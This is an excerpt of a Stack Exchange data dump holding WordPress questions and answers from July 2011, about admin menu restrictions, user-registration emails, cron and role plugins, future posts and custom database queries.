  <row Id="23932" PostTypeId="2" ParentId="23918" CreationDate="2011-07-24T19:39:08.737" Score="1" ViewCount="" Body="&lt;p&gt;you can create a new role and set the manage-posts to it so he could approve/reject posts&#xA; then you can remove menu features as you like with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus () {&#xA;global $menu;&#xA;$user = wp_get_current_user();&#xA;    if ($user-&amp;gt;ID == 2) { // change user ID,&#xA;&#xA;        $restricted = array(__('Dashboard'), __('Posts'), __('Media'), __('Links'), __('Pages'), __('Appearance'), __('Tools'), __('Users'), __('Settings'), __('Comments'), __('Plugins'));&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;    }&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for him to receive  email notification on new registered user you can overwrite the &lt;code&gt;wp_new_user_notification()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('wp_new_user_notification') ) {&#xA;    function wp_new_user_notification($user_id, $plaintext_pass = '') {&#xA;&#xA;            $user = new WP_User($user_id);&#xA;&#xA;            $user_login = stripslashes($user-&amp;gt;user_login);&#xA;            $user_email = stripslashes($user-&amp;gt;user_email);&#xA;&#xA;            // The blogname option is escaped with esc_html on the way into the database in sanitize_option&#xA;            // we want to reverse this for the plain text arena of emails.&#xA;            $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);&#xA;&#xA;            $message  = sprintf(__('New user registration on your blog %s:'), $blogname) . &quot;\r\n\r\n&quot;;&#xA;            $message .= sprintf(__('Username: %s'), $user_login) . &quot;\r\n\r\n&quot;;&#xA;            $message .= sprintf(__('E-mail: %s'), $user_email) . &quot;\r\n&quot;;&#xA;&#xA;            //email admin&#xA;            @wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message);&#xA;&#xA;            //email new editor&#xA;            @wp_mail('USER_EMAIL_HERE', sprintf(__('[%s] New User Registration'), $blogname), $message);&#xA;            if ( empty($plaintext_pass) )&#xA;                    return;&#xA;&#xA;            $message  = sprintf(__('Username: %s'), $user_login) . &quot;\r\n&quot;;&#xA;            $message .= sprintf(__('Password: %s'), $plaintext_pass) . &quot;\r\n&quot;;&#xA;            $message .= wp_login_url() . &quot;\r\n&quot;;&#xA;&#xA;            wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change USER_EMAIL_HERE to his email&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-24T19:39:08.737" CommentCount="1" />
  <row Id="23933" PostTypeId="2" ParentId="23931" CreationDate="2011-07-24T19:43:16.450" Score="1" ViewCount="" Body="&lt;p&gt;Just install the &lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices/&quot; rel=&quot;nofollow&quot;&gt;Log Deprecated Notices&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-24T19:43:16.450" />
  <row Id="23934" PostTypeId="1" AcceptedAnswerId="23935" CreationDate="2011-07-24T20:57:08.037" Score="0" ViewCount="18" Body="&lt;p&gt;Is there a plugin for wordpress that can help a user to view and manage the crons that are currently schdeuled in WordPress? I have looked into Core control but doesn't allow the user to manage the cron jobs. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-07-24T21:13:44.943" Title="Development plugin to view and manage scheduled wordpress cron jobs?" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="23935" PostTypeId="2" ParentId="23934" CreationDate="2011-07-24T21:13:44.943" Score="1" ViewCount="" Body="&lt;p&gt;WP-Crontrol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-crontrol/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-crontrol/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-24T21:13:44.943" />
  <row Id="23936" PostTypeId="2" ParentId="18204" CreationDate="2011-07-24T21:17:27.390" Score="0" ViewCount="" Body="&lt;p&gt;Try the 1.0 version of Simple Facebook Connect. It handles things a lot better than the older version did. And the comments stay on your site, unlike Disqus or Facebook Comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-facebook-connect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-24T15:33:24.493" LastActivityDate="2011-08-24T15:33:24.493" />
  <row Id="23937" PostTypeId="2" ParentId="23618" CreationDate="2011-07-24T21:25:02.983" Score="1" ViewCount="" Body="&lt;p&gt;You can't do the multi-like thing, but I use my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt; for this sort of thing. It has some features that might help you out.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Like module lets you add the Like button to all the posts and such. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Fan Box widget lets you add a fan box to your sidebar. That like button in the Fan Box (Like box) is actually for your Facebook Page. When somebody likes it, then they're liking your page on FB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Publish module lets your posts get published to your Facebook Page automatically, and users who have liked your page will thus see your new posts appear in their home streams.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I recommend using the beta version of the plugin, it tends to work better and is getting very near release:&#xA;&lt;a href=&quot;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-24T21:25:02.983" />
  <row Id="23938" PostTypeId="1" AcceptedAnswerId="23948" CreationDate="2011-07-24T21:30:36.923" Score="1" ViewCount="43" Body="&lt;p&gt;My wordpress theme has a custom post-type. Only editors (and higher) should be allowed to use this post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_capability($role,$cap) {&#xA;    $role_obj = get_role($role); // get the the role object&#xA;    $role_obj -&amp;gt; add_cap($cap); // add $cap capability to this role object&#xA;}&#xA;&#xA;function set_cpt() {&#xA;    add_capability('editor', 'edit_cpt');&#xA;    add_capability('editor', 'read_cpt');&#xA;    add_capability('editor', 'delete_cpt');&#xA;    add_capability('editor', 'edit_cpt');&#xA;    add_capability('editor', 'edit_cpt');&#xA;    add_capability('editor', 'publish_cpt');&#xA;    add_capability('editor', 'read_cpt');&#xA;}&#xA;add_action('init', 'set_cpt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;(I think) in Wordpress 3.1 this was enough - all editors &lt;strong&gt;and higher&lt;/strong&gt; had the right to use the post-type.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now&lt;strike&gt;, in Wordpress 3.2&lt;/strike&gt; &lt;strong&gt;only&lt;/strong&gt; editors have the right to use the post-type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to grant privileges to role X and higher or would I have to mention every role?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually I found out that this never worked before. But is there another way to do it?&lt;/p&gt;&#xA;" OwnerUserId="4544" LastEditorUserId="4544" LastEditorDisplayName="" LastEditDate="2011-07-25T06:24:27.523" LastActivityDate="2011-07-26T07:49:16.367" Title="grant a privilege for roles (for example editors) and higher" Tags="&lt;custom-post-types&gt;&lt;roles&gt;&lt;privileges&gt;" AnswerCount="1" />
  <row Id="23939" PostTypeId="2" ParentId="19613" CreationDate="2011-07-24T21:30:50.400" Score="0" ViewCount="" Body="&lt;p&gt;There is no real &quot;easy&quot; way to do it anymore, due to Facebook's requirements for an application and an access token and OAuth and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version of my &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt; plugin has a working User Status Widget in the widgets module. It can display the latest status for a user in the sidebar or in any widgets area of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting it up requires creating a Facebook Application for your site. This is not a minor task, but it's fairly straightforward.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-24T15:34:04.757" LastActivityDate="2011-08-24T15:34:04.757" />
  <row Id="23940" PostTypeId="2" ParentId="18820" CreationDate="2011-07-24T21:38:05.993" Score="0" ViewCount="" Body="&lt;p&gt;Facebook adds the Confirm link automatically when their systems detect that you might be cheating or otherwise gaming the system in some way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you continually like and unlike the site, even in testing, then you can trigger this mode. If a number of users Like your page but then remove the resulting post from their FB walls or mark it as spam, then you can trigger this mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to un-trigger this. They can't even manually untrigger it. It will resolve itself over time as their system detects correct usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And their data actually does show that people do click the Confirm link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://forum.developers.facebook.net/viewtopic.php?id=93201&quot; rel=&quot;nofollow&quot;&gt;http://forum.developers.facebook.net/viewtopic.php?id=93201&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-24T21:38:05.993" />
  <row Id="23941" PostTypeId="2" ParentId="23923" CreationDate="2011-07-24T22:18:31.470" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/advertising-manager/&quot; rel=&quot;nofollow&quot;&gt;advertising manager&lt;/a&gt; plugin. You can create custom ads using advertising manager plugin. &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-24T22:18:31.470" />
  <row Id="23942" PostTypeId="1" CreationDate="2011-07-24T22:23:58.547" Score="0" ViewCount="38" Body="&lt;p&gt;I'm wondering if it's possible through a plugin, or otherwise, to allow people to register on my WordPress site for an account. And then through my control panel, I can manage their accounts. Here's a little backstory of what I'm trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client runs a dance competition. They would like to be able to upload audio critiques, videos and media. And they'd like to be able to deliver that content just to specific accounts. For instance, a mother goes to the site and registers an account. She logs in and is able to get media related to her son or daughter from a control panel that my client uploaded specifically for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this within the realm of possibility in WordPress? Does a solution already exist? And if not, if anyone could suggest a workaround that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2011-08-24T08:34:11.163" Title="User Login System with File Delivery?" Tags="&lt;login&gt;" AnswerCount="1" />
  <row Id="23943" PostTypeId="2" ParentId="23839" CreationDate="2011-07-24T22:45:03.093" Score="0" ViewCount="" Body="&lt;p&gt;This is what I ended up using, which is a modified version of Rarst's answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function addFeaturedImageSupport()&#xA;{&#xA;    $supportedTypes = get_theme_support( 'post-thumbnails' );&#xA;&#xA;    if( $supportedTypes === false )&#xA;        add_theme_support( 'post-thumbnails', array( self::POST_TYPE ) );               &#xA;    elseif( is_array( $supportedTypes ) )&#xA;    {&#xA;        $supportedTypes[0][] = self::POST_TYPE;&#xA;        add_theme_support( 'post-thumbnails', $supportedTypes[0] );&#xA;    }&#xA;}&#xA;add_action( 'after_setup_theme',    array( $this, 'addFeaturedImageSupport' ), 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-07-24T22:45:03.093" />
  <row Id="23944" PostTypeId="1" CreationDate="2011-07-24T23:05:33.467" Score="0" ViewCount="35" Body="&lt;p&gt;I need to change the published year on all of a custom post type from 2010, to 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the quickest way to do it? I have 200 entries, so manual would take hours!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-08-27T09:09:06.337" Title="change the year on all of my custom post types?" Tags="&lt;database&gt;&lt;date-time&gt;" AnswerCount="3" />
  <row Id="23945" PostTypeId="1" CreationDate="2011-07-24T23:18:55.770" Score="0" ViewCount="25" Body="&lt;p&gt;I am using a couple of wordpress plugins for my theme, enabling them programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not want the user of my theme to be bugged with plugin updates for these plugins, as well as viewing them in the wordpress admin panel plugins lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to exclude these plugins from automatic version checker and the plugins list ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-25T01:59:07.777" Title="Hide wordpress plugins from list" Tags="&lt;plugins&gt;&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="23946" PostTypeId="1" CreationDate="2011-07-24T23:31:50.210" Score="1" ViewCount="31" Body="&lt;p&gt;Is there a way to display posts, scheduled for the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the published data as an event date and time, which is obviously in the future. I still would like to use these posts for a loop, and for single pages.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-26T14:08:58.787" Title="Display future posts?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;theme-development&gt;&lt;date-time&gt;&lt;publish&gt;" AnswerCount="2" />
  <row Id="23947" PostTypeId="2" ParentId="23681" CreationDate="2011-07-24T23:55:49.730" Score="0" ViewCount="" Body="&lt;p&gt;doesn't really answer your question, but as a heads up there are several really good plugins for building theme options.  to me it almost isn't worth the effort to do it myself anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/options-framework/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/options-framework/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-24T23:55:49.730" CommentCount="3" />
  <row Id="23948" PostTypeId="2" ParentId="23938" CreationDate="2011-07-25T00:06:33.657" Score="2" ViewCount="" Body="&lt;p&gt;If you use the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; plugin, you can set it up like you want. It also has the possibility to add custom roles (your &lt;code&gt;edit_cpt&lt;/code&gt; and so on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also a lot of plugins also work that way: '&amp;lt;?php if ( current_user_can('manage_options') ) { do_something(); } ?&amp;gt;'&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="4544" LastEditorDisplayName="" LastEditDate="2011-07-26T07:49:16.367" LastActivityDate="2011-07-26T07:49:16.367" CommentCount="6" />
  <row Id="23949" PostTypeId="2" ParentId="23924" CreationDate="2011-07-25T00:13:41.977" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_user_logged_in() ) {&#xA;wp_redirect ( home_url(&quot;/dashboard&quot;) );&#xA;exit;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is what I've come up with, and works. Also, I think I also messed up by putting this below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*Template Name: Home*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new code is on line 1 and works.&lt;/p&gt;&#xA;" OwnerUserId="7295" LastActivityDate="2011-07-25T00:13:41.977" />
  <row Id="23950" PostTypeId="2" ParentId="23946" CreationDate="2011-07-25T00:28:46.517" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;'post_status' =&amp;gt; 'draft'&lt;/code&gt; to receive all posts that are not published.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'order' =&amp;gt; 'DESC'&lt;/code&gt; to sort from highest (first) value to the lowest&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'orderby' =&amp;gt; 'date'&lt;/code&gt; to sort by post date&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Get&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the current date for comparison with &lt;a href=&quot;http://php.net/manual/de/function.date.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;date()&lt;/code&gt;&lt;/a&gt; or the built in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_time&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_time()&lt;/code&gt;&lt;/a&gt; function&lt;/li&gt;&#xA;&lt;li&gt;the posts year with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_time&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_time()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then compare if the post is in the future and - if so - display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Maybe there are easier ways to do this, but this is the fastest guide to a solution I could come up with.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-25T00:28:46.517" />
  <row Id="23951" PostTypeId="1" AcceptedAnswerId="23952" CreationDate="2011-07-25T00:55:29.210" Score="0" ViewCount="40" Body="&lt;p&gt;Can anyone recommend plugin that I can use to add a table to a page? I've seen ones that use static data-- you hardcode the figures in the table. I want to pull the data from a custom db table and put it in a table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-table-reloaded/&quot; rel=&quot;nofollow&quot;&gt;WP Table Reloaded&lt;/a&gt;, but I'm not sure whether, it's possible to use it with dynamic data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastEditorUserId="4509" LastEditorDisplayName="" LastEditDate="2011-07-25T04:06:21.980" LastActivityDate="2011-07-25T05:31:33.003" Title="Recommendation for a Dynamic Table Plugin" Tags="&lt;plugin-recommendation&gt;&lt;page&gt;" AnswerCount="2" />
  <row Id="23952" PostTypeId="2" ParentId="23951" CreationDate="2011-07-25T01:32:40.763" Score="2" ViewCount="" Body="&lt;p&gt;Set up a custom page template and in the content of the template use &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;WPDB&lt;/a&gt; to query your table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example to get a row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mylink = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM $wpdb-&amp;gt;links WHERE link_id = 10&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-25T01:32:40.763" CommentCount="1" />
  <row Id="23953" PostTypeId="2" ParentId="23945" CreationDate="2011-07-25T01:59:07.777" Score="1" ViewCount="" Body="&lt;p&gt;To disable plugin update notification:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/disable-wordpress-plugin-updates/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/disable-wordpress-plugin-updates/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or simply add the following snippet in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'load-update-core.php', 'wp_update_plugins' );&#xA;add_filter( 'pre_site_transient_update_plugins', create_function( '$a', &quot;return null;&quot; ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can remove plugin menu from backend by adding the following snippet in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head', 'remove_menu');&#xA;function remove_menu() {&#xA;global $menu;&#xA;unset($menu[65]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-25T01:59:07.777" CommentCount="3" />
  <row Id="23954" PostTypeId="2" ParentId="15531" CreationDate="2011-07-25T02:08:15.100" Score="0" ViewCount="" Body="&lt;p&gt;This may be what you're looking for &lt;a href=&quot;http://premium.wpmudev.org/project/multi-domains&quot; rel=&quot;nofollow&quot;&gt;Multi-Domains&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-25T02:08:15.100" />
  <row Id="23955" PostTypeId="2" ParentId="18235" CreationDate="2011-07-25T03:11:52.633" Score="0" ViewCount="" Body="&lt;p&gt;For the record, it seems one should also always make a tag copy of the latest version too to ensure that both last updated date and version number get updated.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-07-25T03:11:52.633" />
  <row Id="23956" PostTypeId="1" CreationDate="2011-07-25T03:15:13.560" Score="0" ViewCount="69" Body="&lt;p&gt;Hi I am building a menu using the code listed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to suss out the menu hierarchy. As i can not debug this, it is difficult for me to see what wp_get_nav_menu_items actually returns.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu_items = wp_get_nav_menu_items($menu-&amp;gt;term_id); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $items = wp_get_nav_menu_items($menu, $args = array()); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a listing that describes the objects returned via wordpress functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2011-08-25T02:34:22.283" Title="finding menu hierachy &gt; wp_get_nav_menu_items" Tags="&lt;theme-development&gt;&lt;page-menus&gt;" AnswerCount="1" />
  <row Id="23957" PostTypeId="2" ParentId="23916" CreationDate="2011-07-25T03:46:05.070" Score="1" ViewCount="" Body="&lt;p&gt;This should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomyName = &quot;age&quot;;&#xA;//This gets top layer terms only.  This is done by setting parent to 0.  &#xA;$parent_terms = get_terms($taxonomyName, array('parent' =&amp;gt; 0, 'orderby' =&amp;gt; 'slug', 'hide_empty' =&amp;gt; false));   &#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($parent_terms as $pterm) {&#xA;    //Get the Child terms&#xA;    $terms = get_terms($taxonomyName, array('parent' =&amp;gt; $pterm-&amp;gt;term_id, 'orderby' =&amp;gt; 'slug', 'hide_empty' =&amp;gt; false));&#xA;    foreach ($terms as $term) {&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_term_link( $term-&amp;gt;name, $taxonomyName ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';  &#xA;    }&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-25T03:46:05.070" CommentCount="2" />
  <row Id="23959" PostTypeId="1" AcceptedAnswerId="24224" CreationDate="2011-07-25T04:17:15.123" Score="0" ViewCount="51" Body="&lt;p&gt;I would like to exclude a category from my categories sidebar widget.  If I understand the way this works, the sidebar.php code is not in use since the widget is displaying the categories.  (something similar was discussed in this support topic: &lt;a href=&quot;http://wordpress.org/support/topic/problem-trying-to-hide-a-category-in-the-sidebar&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/problem-trying-to-hide-a-category-in-the-sidebar&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify the query used by the widget; or is there another means of excluding specific categories from inclusion in the category list?&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2011-07-27T15:53:16.910" Title="Customize category query in widget" Tags="&lt;categories&gt;&lt;widgets&gt;&lt;exclude&gt;" AnswerCount="2" />
  <row Id="23960" PostTypeId="2" ParentId="23951" CreationDate="2011-07-25T05:31:33.003" Score="0" ViewCount="" Body="&lt;p&gt;The closest thing to what you are looking for would be ProjectManager &lt;a href=&quot;http://wordpress.org/extend/plugins/projectmanager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/projectmanager/&lt;/a&gt; without creating the database tables manually.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T05:31:33.003" CommentCount="1" />
  <row Id="23962" PostTypeId="1" AcceptedAnswerId="23965" CreationDate="2011-07-25T06:04:53.173" Score="0" ViewCount="32" Body="&lt;p&gt;An image speaks for a thousand words so please bear with me:&#xA;&lt;a href=&quot;http://interativo.modateca-sc.com/&quot; rel=&quot;nofollow&quot;&gt;http://interativo.modateca-sc.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last post appears twice. Once as the feature post and then again on the &quot;main blog part&quot; where the ten or so latest posts appear. Is there a way to make it not appear again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="7145" LastActivityDate="2011-07-25T06:41:45.220" Title="How *not* to show the last post on the latest posts list" Tags="&lt;posts&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="23964" PostTypeId="2" ParentId="9157" CreationDate="2011-07-25T06:31:03.437" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for this interesting discussion.&#xA;How can I remove the whole taxonomy name? &#xA;Tried the template parameter but it doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%s is the place holder for the taxonomy name string?&#xA;what does %l stand for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My taxonomy name is Article Categories and the_taxonomies returns&#xA;Article Directories:&#xA;I want to remove the whole term. Is this possible via the template parameter?&#xA;Couldn't find anything about it in the wordpress codex.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7300" LastActivityDate="2011-07-25T06:31:03.437" CommentCount="1" />
  <row Id="23965" PostTypeId="2" ParentId="23962" CreationDate="2011-07-25T06:41:45.220" Score="0" ViewCount="" Body="&lt;p&gt;Go to the code of &quot;Main blog part&quot;, loop.php i guess... or any code your theme uses.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find get_posts and use exclude parameter to exclude the post from there. Pass id of featured post as exclude...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is reference...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/get_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-25T06:41:45.220" />
  <row Id="23966" PostTypeId="1" CreationDate="2011-07-25T06:52:41.337" Score="0" ViewCount="66" Body="&lt;p&gt;I am new to WordPress and recently doing some stuff with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using WordPress and want to make theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a full post on the home page and at the bottom I want to show next and previous post links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will only be one category in which I will post and only one post will display on the home page at a time.&lt;/p&gt;&#xA;" OwnerUserId="2997" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-07-25T07:26:39.457" LastActivityDate="2011-08-24T22:03:26.033" Title="WordPress Show Single Post on Home Page with previous/ Next Button" Tags="&lt;theme-development&gt;" AnswerCount="2" />
